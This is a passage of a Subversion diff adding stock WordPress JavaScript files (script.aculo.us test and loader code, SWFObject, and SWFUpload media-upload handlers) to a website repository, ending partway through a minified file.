+    catch(e) { this.error(e); }
+  }
+});
+
+// *EXPERIMENTAL* BDD-style testing to please non-technical folk
+// This draws many ideas from RSpec http://rspec.rubyforge.org/
+
+Test.setupBDDExtensionMethods = function(){
+  var METHODMAP = {
+    shouldEqual:     'assertEqual',
+    shouldNotEqual:  'assertNotEqual',
+    shouldEqualEnum: 'assertEnumEqual',
+    shouldBeA:       'assertType',
+    shouldNotBeA:    'assertNotOfType',
+    shouldBeAn:      'assertType',
+    shouldNotBeAn:   'assertNotOfType',
+    shouldBeNull:    'assertNull',
+    shouldNotBeNull: 'assertNotNull',
+    
+    shouldBe:        'assertReturnsTrue',
+    shouldNotBe:     'assertReturnsFalse',
+    shouldRespondTo: 'assertRespondsTo'
+  };
+  var makeAssertion = function(assertion, args, object) { 
+   	this[assertion].apply(this,(args || []).concat([object]));
+  }
+  
+  Test.BDDMethods = {};   
+  $H(METHODMAP).each(function(pair) { 
+    Test.BDDMethods[pair.key] = function() { 
+       var args = $A(arguments); 
+       var scope = args.shift(); 
+       makeAssertion.apply(scope, [pair.value, args, this]); }; 
+  });
+  
+  [Array.prototype, String.prototype, Number.prototype, Boolean.prototype].each(
+    function(p){ Object.extend(p, Test.BDDMethods) }
+  );
+}
+
+Test.context = function(name, spec, log){
+  Test.setupBDDExtensionMethods();
+  
+  var compiledSpec = {};
+  var titles = {};
+  for(specName in spec) {
+    switch(specName){
+      case "setup":
+      case "teardown":
+        compiledSpec[specName] = spec[specName];
+        break;
+      default:
+        var testName = 'test'+specName.gsub(/\s+/,'-').camelize();
+        var body = spec[specName].toString().split('\n').slice(1);
+        if(/^\{/.test(body[0])) body = body.slice(1);
+        body.pop();
+        body = body.map(function(statement){ 
+          return statement.strip()
+        });
+        compiledSpec[testName] = body.join('\n');
+        titles[testName] = specName;
+    }
+  }
+  new Test.Unit.Runner(compiledSpec, { titles: titles, testLog: log || 'testlog', context: name });
+};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/wp-scriptaculous.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/wp-scriptaculous.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/wp-scriptaculous.js	(revision 44)
@@ -0,0 +1,59 @@
+// script.aculo.us scriptaculous.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// 
+// Permission is hereby granted, free of charge, to any person obtaining
+// a copy of this software and associated documentation files (the
+// "Software"), to deal in the Software without restriction, including
+// without limitation the rights to use, copy, modify, merge, publish,
+// distribute, sublicense, and/or sell copies of the Software, and to
+// permit persons to whom the Software is furnished to do so, subject to
+// the following conditions:
+// 
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+var Scriptaculous = {
+  Version: '1.8.0',
+  require: function(libraryName) {
+    // inserting via DOM fails in Safari 2.0, so brute force approach
+    document.write('<script type="text/javascript" src="'+libraryName+'"></script>');
+  },
+  REQUIRED_PROTOTYPE: '1.6',
+  load: function() {
+    function convertVersionString(versionString){
+      var r = versionString.split('.');
+      return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]);
+    }
+ 
+    if((typeof Prototype=='undefined') || 
+       (typeof Element == 'undefined') || 
+       (typeof Element.Methods=='undefined') ||
+       (convertVersionString(Prototype.Version) < 
+        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
+       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
+        Scriptaculous.REQUIRED_PROTOTYPE);
+    
+    $A(document.getElementsByTagName("script")).findAll( function(s) {
+      return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/))
+    }).each( function(s) {
+      var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,'');
+      var includes = s.src.match(/\?.*load=([a-z,]*)/);
+      if ( includes )
+       includes[1].split(',').each(
+       function(include) { Scriptaculous.require(path+include+'.js') });
+    });
+  }
+}
+
+Scriptaculous.load();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfobject.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfobject.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfobject.js	(revision 44)
@@ -0,0 +1,5 @@
+/* SWFObject v2.1 <http://code.google.com/p/swfobject/>
+	Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis
+	This software is released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
+*/
+var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write("<script id=__ie_ondomload defer=true src=//:><\/script>");J=C("__ie_ondomload");if(J){I(J,"onreadystatechange",S)}}catch(q){}}if(h.webkit&&typeof K.readyState!=b){Z=setInterval(function(){if(/loaded|complete/.test(K.readyState)){E()}},10)}if(typeof K.addEventListener!=b){K.addEventListener("DOMContentLoaded",E,null)}R(E)}();function S(){if(J.readyState=="complete"){J.parentNode.removeChild(J);E()}}function E(){if(e){return }if(h.ie&&h.win){var v=a("span");try{var u=K.getElementsByTagName("body")[0].appendChild(v);u.parentNode.removeChild(u)}catch(w){return }}e=true;if(Z){clearInterval(Z);Z=null}var q=o.length;for(var r=0;r<q;r++){o[r]()}}function f(q){if(e){q()}else{o[o.length]=q}}function R(r){if(typeof j.addEventListener!=b){j.addEventListener("load",r,false)}else{if(typeof K.addEventListener!=b){K.addEventListener("load",r,false)}else{if(typeof j.attachEvent!=b){I(j,"onload",r)}else{if(typeof j.onload=="function"){var q=j.onload;j.onload=function(){q();r()}}else{j.onload=r}}}}}function H(){var t=N.length;for(var q=0;q<t;q++){var u=N[q].id;if(h.pv[0]>0){var r=C(u);if(r){N[q].width=r.getAttribute("width")?r.getAttribute("width"):"0";N[q].height=r.getAttribute("height")?r.getAttribute("height"):"0";if(c(N[q].swfVersion)){if(h.webkit&&h.webkit<312){Y(r)}W(u,true)}else{if(N[q].expressInstall&&!A&&c("6.0.65")&&(h.win||h.mac)){k(N[q])}else{O(r)}}}}else{W(u,true)}}}function Y(t){var q=t.getElementsByTagName(Q)[0];if(q){var w=a("embed"),y=q.attributes;if(y){var v=y.length;for(var u=0;u<v;u++){if(y[u].nodeName=="DATA"){w.setAttribute("src",y[u].nodeValue)}else{w.setAttribute(y[u].nodeName,y[u].nodeValue)}}}var x=q.childNodes;if(x){var z=x.length;for(var r=0;r<z;r++){if(x[r].nodeType==1&&x[r].nodeName=="PARAM"){w.setAttribute(x[r].getAttribute("name"),x[r].getAttribute("value"))}}}t.parentNode.replaceChild(w,t)}}function k(w){A=true;var u=C(w.id);if(u){if(w.altContentId){var y=C(w.altContentId);if(y){M=y;l=w.altContentId}}else{M=G(u)}if(!(/%$/.test(w.width))&&parseInt(w.width,10)<310){w.width="310"}if(!(/%$/.test(w.height))&&parseInt(w.height,10)<137){w.height="137"}K.title=K.title.slice(0,47)+" - Flash Player Installation";var z=h.ie&&h.win?"ActiveX":"PlugIn",q=K.title,r="MMredirectURL="+j.location+"&MMplayerType="+z+"&MMdoctitle="+q,x=w.id;if(h.ie&&h.win&&u.readyState!=4){var t=a("div");x+="SWFObjectNew";t.setAttribute("id",x);u.parentNode.insertBefore(t,u);u.style.display="none";var v=function(){u.parentNode.removeChild(u)};I(j,"onload",v)}U({data:w.expressInstall,id:m,width:w.width,height:w.height},{flashvars:r},x)}}function O(t){if(h.ie&&h.win&&t.readyState!=4){var r=a("div");t.parentNode.insertBefore(r,t);r.parentNode.replaceChild(G(t),r);t.style.display="none";var q=function(){t.parentNode.removeChild(t)};I(j,"onload",q)}else{t.parentNode.replaceChild(G(t),t)}}function G(v){var u=a("div");if(h.win&&h.ie){u.innerHTML=v.innerHTML}else{var r=v.getElementsByTagName(Q)[0];if(r){var w=r.childNodes;if(w){var q=w.length;for(var t=0;t<q;t++){if(!(w[t].nodeType==1&&w[t].nodeName=="PARAM")&&!(w[t].nodeType==8)){u.appendChild(w[t].cloneNode(true))}}}}}return u}function U(AG,AE,t){var q,v=C(t);if(v){if(typeof AG.id==b){AG.id=t}if(h.ie&&h.win){var AF="";for(var AB in AG){if(AG[AB]!=Object.prototype[AB]){if(AB.toLowerCase()=="data"){AE.movie=AG[AB]}else{if(AB.toLowerCase()=="styleclass"){AF+=' class="'+AG[AB]+'"'}else{if(AB.toLowerCase()!="classid"){AF+=" "+AB+'="'+AG[AB]+'"'}}}}}var AD="";for(var AA in AE){if(AE[AA]!=Object.prototype[AA]){AD+='<param name="'+AA+'" value="'+AE[AA]+'" />'}}v.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+AF+">"+AD+"</object>";i[i.length]=AG.id;q=C(AG.id)}else{if(h.webkit&&h.webkit<312){var AC=a("embed");AC.setAttribute("type",P);for(var z in AG){if(AG[z]!=Object.prototype[z]){if(z.toLowerCase()=="data"){AC.setAttribute("src",AG[z])}else{if(z.toLowerCase()=="styleclass"){AC.setAttribute("class",AG[z])}else{if(z.toLowerCase()!="classid"){AC.setAttribute(z,AG[z])}}}}}for(var y in AE){if(AE[y]!=Object.prototype[y]){if(y.toLowerCase()!="movie"){AC.setAttribute(y,AE[y])}}}v.parentNode.replaceChild(AC,v);q=AC}else{var u=a(Q);u.setAttribute("type",P);for(var x in AG){if(AG[x]!=Object.prototype[x]){if(x.toLowerCase()=="styleclass"){u.setAttribute("class",AG[x])}else{if(x.toLowerCase()!="classid"){u.setAttribute(x,AG[x])}}}}for(var w in AE){if(AE[w]!=Object.prototype[w]&&w.toLowerCase()!="movie"){F(u,w,AE[w])}}v.parentNode.replaceChild(u,v);q=u}}}return q}function F(t,q,r){var u=a("param");u.setAttribute("name",q);u.setAttribute("value",r);t.appendChild(u)}function X(r){var q=C(r);if(q&&(q.nodeName=="OBJECT"||q.nodeName=="EMBED")){if(h.ie&&h.win){if(q.readyState==4){B(r)}else{j.attachEvent("onload",function(){B(r)})}}else{q.parentNode.removeChild(q)}}}function B(t){var r=C(t);if(r){for(var q in r){if(typeof r[q]=="function"){r[q]=null}}r.parentNode.removeChild(r)}}function C(t){var q=null;try{q=K.getElementById(t)}catch(r){}return q}function a(q){return K.createElement(q)}function I(t,q,r){t.attachEvent(q,r);d[d.length]=[t,q,r]}function c(t){var r=h.pv,q=t.split(".");q[0]=parseInt(q[0],10);q[1]=parseInt(q[1],10)||0;q[2]=parseInt(q[2],10)||0;return(r[0]>q[0]||(r[0]==q[0]&&r[1]>q[1])||(r[0]==q[0]&&r[1]==q[1]&&r[2]>=q[2]))?true:false}function V(v,r){if(h.ie&&h.mac){return }var u=K.getElementsByTagName("head")[0],t=a("style");t.setAttribute("type","text/css");t.setAttribute("media","screen");if(!(h.ie&&h.win)&&typeof K.createTextNode!=b){t.appendChild(K.createTextNode(v+" {"+r+"}"))}u.appendChild(t);if(h.ie&&h.win&&typeof K.styleSheets!=b&&K.styleSheets.length>0){var q=K.styleSheets[K.styleSheets.length-1];if(typeof q.addRule==Q){q.addRule(v,r)}}}function W(t,q){var r=q?"visible":"hidden";if(e&&C(t)){C(t).style.visibility=r}else{V("#"+t,"visibility:"+r)}}function g(s){var r=/[\\\"<>\.;]/;var q=r.exec(s)!=null;return q?encodeURIComponent(s):s}var D=function(){if(h.ie&&h.win){window.attachEvent("onunload",function(){var w=d.length;for(var v=0;v<w;v++){d[v][0].detachEvent(d[v][1],d[v][2])}var t=i.length;for(var u=0;u<t;u++){X(i[u])}for(var r in h){h[r]=null}h=null;for(var q in swfobject){swfobject[q]=null}swfobject=null})}}();return{registerObject:function(u,q,t){if(!h.w3cdom||!u||!q){return }var r={};r.id=u;r.swfVersion=q;r.expressInstall=t?t:false;N[N.length]=r;W(u,false)},getObjectById:function(v){var q=null;if(h.w3cdom){var t=C(v);if(t){var u=t.getElementsByTagName(Q)[0];if(!u||(u&&typeof t.SetVariable!=b)){q=t}else{if(typeof u.SetVariable!=b){q=u}}}}return q},embedSWF:function(x,AE,AB,AD,q,w,r,z,AC){if(!h.w3cdom||!x||!AE||!AB||!AD||!q){return }AB+="";AD+="";if(c(q)){W(AE,false);var AA={};if(AC&&typeof AC===Q){for(var v in AC){if(AC[v]!=Object.prototype[v]){AA[v]=AC[v]}}}AA.data=x;AA.width=AB;AA.height=AD;var y={};if(z&&typeof z===Q){for(var u in z){if(z[u]!=Object.prototype[u]){y[u]=z[u]}}}if(r&&typeof r===Q){for(var t in r){if(r[t]!=Object.prototype[t]){if(typeof y.flashvars!=b){y.flashvars+="&"+t+"="+r[t]}else{y.flashvars=t+"="+r[t]}}}}f(function(){U(AA,y,AE);if(AA.id==AE){W(AE,true)}})}else{if(w&&!A&&c("6.0.65")&&(h.win||h.mac)){A=true;W(AE,false);f(function(){var AF={};AF.id=AF.altContentId=AE;AF.width=AB;AF.height=AD;AF.expressInstall=w;k(AF)})}}},getFlashPlayerVersion:function(){return{major:h.pv[0],minor:h.pv[1],release:h.pv[2]}},hasFlashPlayerVersion:c,createSWF:function(t,r,q){if(h.w3cdom){return U(t,r,q)}else{return undefined}},removeSWF:function(q){if(h.w3cdom){X(q)}},createCSS:function(r,q){if(h.w3cdom){V(r,q)}},addDomLoadEvent:f,addLoadEvent:R,getQueryParamValue:function(v){var u=K.location.search||K.location.hash;if(v==null){return g(u)}if(u){var t=u.substring(1).split("&");for(var r=0;r<t.length;r++){if(t[r].substring(0,t[r].indexOf("="))==v){return g(t[r].substring((t[r].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(A&&M){var q=C(m);if(q){q.parentNode.replaceChild(M,q);if(l){W(l,true);if(h.ie&&h.win){M.style.display="block"}}M=null;l=null;A=false}}}}}();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.dev.js	(revision 44)
@@ -0,0 +1,316 @@
+
+function fileDialogStart() {
+	jQuery("#media-upload-error").empty();
+}
+
+// progress and success handlers for media multi uploads
+function fileQueued(fileObj) {
+	// Get rid of unused form
+	jQuery('.media-blank').remove();
+	// Collapse a single item
+	if ( jQuery('.type-form #media-items>*').length == 1 && jQuery('#media-items .hidden').length > 0 ) {
+		jQuery('.describe-toggle-on').show();
+		jQuery('.describe-toggle-off').hide();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+	// Create a progress bar containing the filename
+	jQuery('#media-items').append('<div id="media-item-' + fileObj.id + '" class="media-item child-of-' + post_id + '"><div class="progress"><div class="bar"></div></div><div class="filename original"><span class="percent"></span> ' + fileObj.name + '</div></div>');
+	// Display the progress div
+	jQuery('#media-item-' + fileObj.id + ' .progress').show();
+
+	// Disable submit and enable cancel
+	jQuery('#insert-gallery').attr('disabled', 'disabled');
+	jQuery('#cancel-upload').attr('disabled', '');
+}
+
+function uploadStart(fileObj) {
+	return true;
+}
+
+function uploadProgress(fileObj, bytesDone, bytesTotal) {
+	// Lengthen the progress bar
+	var w = jQuery('#media-items').width() - 2;
+	jQuery('#media-item-' + fileObj.id + ' .bar').width( w * bytesDone / bytesTotal );
+	jQuery('#media-item-' + fileObj.id + ' .percent').html( Math.ceil(bytesDone / bytesTotal * 100) + '%' );
+
+	if ( bytesDone == bytesTotal )
+		jQuery('#media-item-' + fileObj.id + ' .bar').html('<strong class="crunching">' + swfuploadL10n.crunching + '</strong>');
+}
+
+function prepareMediaItem(fileObj, serverData) {
+	// Move the progress bar to 100%
+	jQuery('#media-item-' + fileObj.id + ' .bar').remove();
+	jQuery('#media-item-' + fileObj.id + ' .progress').hide();
+
+	var f = ( typeof shortform == 'undefined' ) ? 1 : 2;
+	// Old style: Append the HTML returned by the server -- thumbnail and form inputs
+	if ( isNaN(serverData) || !serverData ) {
+		jQuery('#media-item-' + fileObj.id).append(serverData);
+		prepareMediaItemInit(fileObj);
+	}
+	// New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
+	else {
+		jQuery('#media-item-' + fileObj.id).load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm()});
+	}
+}
+		
+function prepareMediaItemInit(fileObj) {
+
+	// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
+	jQuery('#media-item-' + fileObj.id + ' .thumbnail').clone().attr('className', 'pinkynail toggle').prependTo('#media-item-' + fileObj.id);
+
+	// Replace the original filename with the new (unique) one assigned during upload
+	jQuery('#media-item-' + fileObj.id + ' .filename.original').replaceWith(jQuery('#media-item-' + fileObj.id + ' .filename.new'));
+
+	// Also bind toggle to the links
+	jQuery('#media-item-' + fileObj.id + ' a.toggle').click(function(){
+		jQuery(this).siblings('.slidetoggle').slideToggle(150, function(){
+			var o = jQuery(this).offset();
+			window.scrollTo(0, o.top-36);
+		});
+		jQuery(this).parent().children('.toggle').toggle();
+		jQuery(this).siblings('a.toggle').focus();
+		return false;
+	});
+
+	// Bind AJAX to the new Delete button
+	jQuery('#media-item-' + fileObj.id + ' a.delete').click(function(){
+		// Tell the server to delete it. TODO: handle exceptions
+		jQuery.ajax({url:'admin-ajax.php',type:'post',success:deleteSuccess,error:deleteError,id:fileObj.id,data:{
+			id : this.id.replace(/[^0-9]/g,''),
+			action : 'delete-post',
+			_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')}
+			});
+		return false;
+	});
+
+	// Open this item if it says to start open (e.g. to display an error)
+	jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').slideToggle(500).parent().children('.toggle').toggle();
+}
+
+function itemAjaxError(id, html) {
+	var error = jQuery('#media-item-error' + id);
+
+	error.html('<div class="file-error"><button type="button" id="dismiss-'+id+'" class="button dismiss">'+swfuploadL10n.dismiss+'</button>'+html+'</div>');
+	jQuery('#dismiss-'+id).click(function(){jQuery(this).parents('.file-error').slideUp(200, function(){jQuery(this).empty();})});
+}
+
+function deleteSuccess(data, textStatus) {
+	if ( data == '-1' )
+		return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
+	if ( data == '0' )
+		return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
+
+	var item = jQuery('#media-item-' + this.id);
+
+	// Decrement the counters.
+	if ( type = jQuery('#type-of-' + this.id).val() )
+		jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-1);
+	if ( item.hasClass('child-of-'+post_id) )
+		jQuery('#attachments-count').text(jQuery('#attachments-count').text()-1);
+
+	if ( jQuery('.type-form #media-items>*').length == 1 && jQuery('#media-items .hidden').length > 0 ) {
+		jQuery('.toggle').toggle();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+
+	// Vanish it.
+	jQuery('#media-item-' + this.id + ' .filename:empty').remove();
+	jQuery('#media-item-' + this.id + ' .filename').append(' <span class="file-error">'+swfuploadL10n.deleted+'</span>').siblings('a.toggle').remove();
+	jQuery('#media-item-' + this.id).children('.describe').css({backgroundColor:'#fff'}).end()
+			.animate({backgroundColor:'#ffc0c0'}, {queue:false,duration:50})
+			.animate({minHeight:0,height:36}, 400, null, function(){jQuery(this).children('.describe').remove()})
+			.animate({backgroundColor:'#fff'}, 400)
+			.animate({height:0}, 800, null, function(){jQuery(this).remove();updateMediaForm();});
+
+	return;
+}
+
+function deleteError(X, textStatus, errorThrown) {
+	// TODO
+}
+
+function updateMediaForm() {
+	storeState();
+	// Just one file, no need for collapsible part
+	if ( jQuery('.type-form #media-items>*').length == 1 ) {
+		jQuery('#media-items .slidetoggle').slideDown(500).parent().eq(0).children('.toggle').toggle();
+		jQuery('.type-form .slidetoggle').siblings().addClass('hidden');
+	}
+
+	// Only show Save buttons when there is at least one file.
+	if ( jQuery('#media-items>*').not('.media-blank').length > 0 )
+		jQuery('.savebutton').show();
+	else
+		jQuery('.savebutton').hide();
+
+	// Only show Gallery button when there are at least two files.
+	if ( jQuery('#media-items>*').length > 1 )
+		jQuery('.insert-gallery').show();
+	else
+		jQuery('.insert-gallery').hide();
+}
+
+function uploadSuccess(fileObj, serverData) {
+	// if async-upload returned an error message, place it in the media item div and return
+	if ( serverData.match('media-upload-error') ) {
+		jQuery('#media-item-' + fileObj.id).html(serverData);
+		return;
+	}
+
+	prepareMediaItem(fileObj, serverData);
+	updateMediaForm();
+
+	// Increment the counter.
+	if ( jQuery('#media-item-' + fileObj.id).hasClass('child-of-' + post_id) )
+		jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
+}
+
+function uploadComplete(fileObj) {
+	// If no more uploads queued, enable the submit button
+	if ( swfu.getStats().files_queued == 0 ) {
+		jQuery('#cancel-upload').attr('disabled', 'disabled');
+		jQuery('#insert-gallery').attr('disabled', '');
+	}
+}
+
+
+// wp-specific error handlers
+
+// generic message
+function wpQueueError(message) {
+	jQuery('#media-upload-error').show().text(message);
+}
+
+// file-specific message
+function wpFileError(fileObj, message) {
+	jQuery('#media-item-' + fileObj.id + ' .filename').after('<div class="file-error"><button type="button" id="dismiss-' + fileObj.id + '" class="button dismiss">'+swfuploadL10n.dismiss+'</button>'+message+'</div>').siblings('.toggle').remove();
+	jQuery('#dismiss-' + fileObj.id).click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})});
+}
+
+function fileQueueError(fileObj, error_code, message)  {
+	// Handle this error separately because we don't want to create a FileProgress element for it.
+	if ( error_code == SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED ) {
+		wpQueueError(swfuploadL10n.queue_limit_exceeded);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.file_exceeds_size_limit);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.zero_byte_file);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.INVALID_FILETYPE ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.invalid_filetype);
+	}
+	else {
+		wpQueueError(swfuploadL10n.default_error);
+	}
+}
+
+function fileDialogComplete(num_files_queued) {
+	try {
+		if (num_files_queued > 0) {
+			this.startUpload();
+		}
+	} catch (ex) {
+		this.debug(ex);
+	}
+}
+
+function switchUploader(s) {
+	var f = document.getElementById(swfu.customSettings.swfupload_element_id), h = document.getElementById(swfu.customSettings.degraded_element_id);
+	if ( s ) {
+		f.style.display = 'block';
+		h.style.display = 'none';
+	} else {
+		f.style.display = 'none';
+		h.style.display = 'block';
+	}
+}
+
+function swfuploadPreLoad() {
+	if ( !uploaderMode ) {
+		switchUploader(1);
+	} else {
+		switchUploader(0);
+	}
+}
+
+function swfuploadLoadFailed() {
+	switchUploader(0);
+	jQuery('.upload-html-bypass').hide();
+}
+
+function uploadError(fileObj, errorCode, message) {
+	
+	switch (errorCode) {
+		case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:
+			wpFileError(fileObj, swfuploadL10n.missing_upload_url);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:
+			wpFileError(fileObj, swfuploadL10n.upload_limit_exceeded);
+			break;
+		case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:
+			wpQueueError(swfuploadL10n.http_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:
+			wpQueueError(swfuploadL10n.upload_failed);
+			break;
+		case SWFUpload.UPLOAD_ERROR.IO_ERROR:
+			wpQueueError(swfuploadL10n.io_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:
+			wpQueueError(swfuploadL10n.security_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:
+		case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:
+			jQuery('#media-item-' + fileObj.id).remove();
+			break;
+		default:
+			wpFileError(fileObj, swfuploadL10n.default_error);
+	}
+}
+
+function cancelUpload() {
+	swfu.cancelQueue();
+}
+
+// remember the last used image size, alignment and url
+var storeState;
+(function($){
+
+storeState = function(){
+	var align = getUserSetting('align') || '', imgsize = getUserSetting('imgsize') || '';
+
+	$('tr.align input[type="radio"]').click(function(){
+		setUserSetting('align', $(this).val());
+	}).filter(function(){
+		if ( $(this).val() == align )
+			return true;
+		return false;
+	}).attr('checked','checked');
+
+	$('tr.image-size input[type="radio"]').click(function(){
+		setUserSetting('imgsize', $(this).val());
+	}).filter(function(){
+		if ( $(this).attr('disabled') || $(this).val() != imgsize )
+			return false;
+		return true;
+	}).attr('checked','checked');
+
+	$('tr.url button').click(function(){
+		var c = this.className || '';
+		c = c.replace(/.*?(url[^ '"]+).*/, '$1');
+		if (c) setUserSetting('urlbutton', c);
+		$(this).siblings('.urlfield').val( $(this).attr('title') );
+	});
+
+	$('tr.url .urlfield').each(function(){
+		var b = getUserSetting('urlbutton');
+		$(this).val( $(this).siblings('button.'+b).attr('title') );
+	});
+}
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/handlers.js	(revision 44)
@@ -0,0 +1,1 @@
+function fileDialogStart(){jQuery("#media-upload-error").empty()}function fileQueued(a){jQuery(".media-blank").remove();if(jQuery(".type-form #media-items>*").length==1&&jQuery("#media-items .hidden").length>0){jQuery(".describe-toggle-on").show();jQuery(".describe-toggle-off").hide();jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")}jQuery("#media-items").append('<div id="media-item-'+a.id+'" class="media-item child-of-'+post_id+'"><div class="progress"><div class="bar"></div></div><div class="filename original"><span class="percent"></span> '+a.name+"</div></div>");jQuery("#media-item-"+a.id+" .progress").show();jQuery("#insert-gallery").attr("disabled","disabled");jQuery("#cancel-upload").attr("disabled","")}function uploadStart(a){return true}function uploadProgress(d,b,c){var a=jQuery("#media-items").width()-2;jQuery("#media-item-"+d.id+" .bar").width(a*b/c);jQuery("#media-item-"+d.id+" .percent").html(Math.ceil(b/c*100)+"%");if(b==c){jQuery("#media-item-"+d.id+" .bar").html('<strong class="crunching">'+swfuploadL10n.crunching+"</strong>")}}function prepareMediaItem(b,a){jQuery("#media-item-"+b.id+" .bar").remove();jQuery("#media-item-"+b.id+" .progress").hide();var c=(typeof shortform=="undefined")?1:2;if(isNaN(a)||!a){jQuery("#media-item-"+b.id).append(a);prepareMediaItemInit(b)}else{jQuery("#media-item-"+b.id).load("async-upload.php",{attachment_id:a,fetch:c},function(){prepareMediaItemInit(b);updateMediaForm()})}}function prepareMediaItemInit(a){jQuery("#media-item-"+a.id+" .thumbnail").clone().attr("className","pinkynail toggle").prependTo("#media-item-"+a.id);jQuery("#media-item-"+a.id+" .filename.original").replaceWith(jQuery("#media-item-"+a.id+" .filename.new"));jQuery("#media-item-"+a.id+" a.toggle").click(function(){jQuery(this).siblings(".slidetoggle").slideToggle(150,function(){var 